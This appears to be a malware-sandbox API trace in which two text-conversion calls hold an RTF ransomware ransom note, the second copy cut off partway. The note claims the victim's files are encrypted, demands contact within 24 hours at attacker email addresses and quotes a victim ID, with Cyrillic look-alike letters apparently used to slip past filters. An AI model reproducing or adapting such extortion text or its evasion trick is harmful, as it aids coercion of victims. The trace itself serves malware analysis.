[0041.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 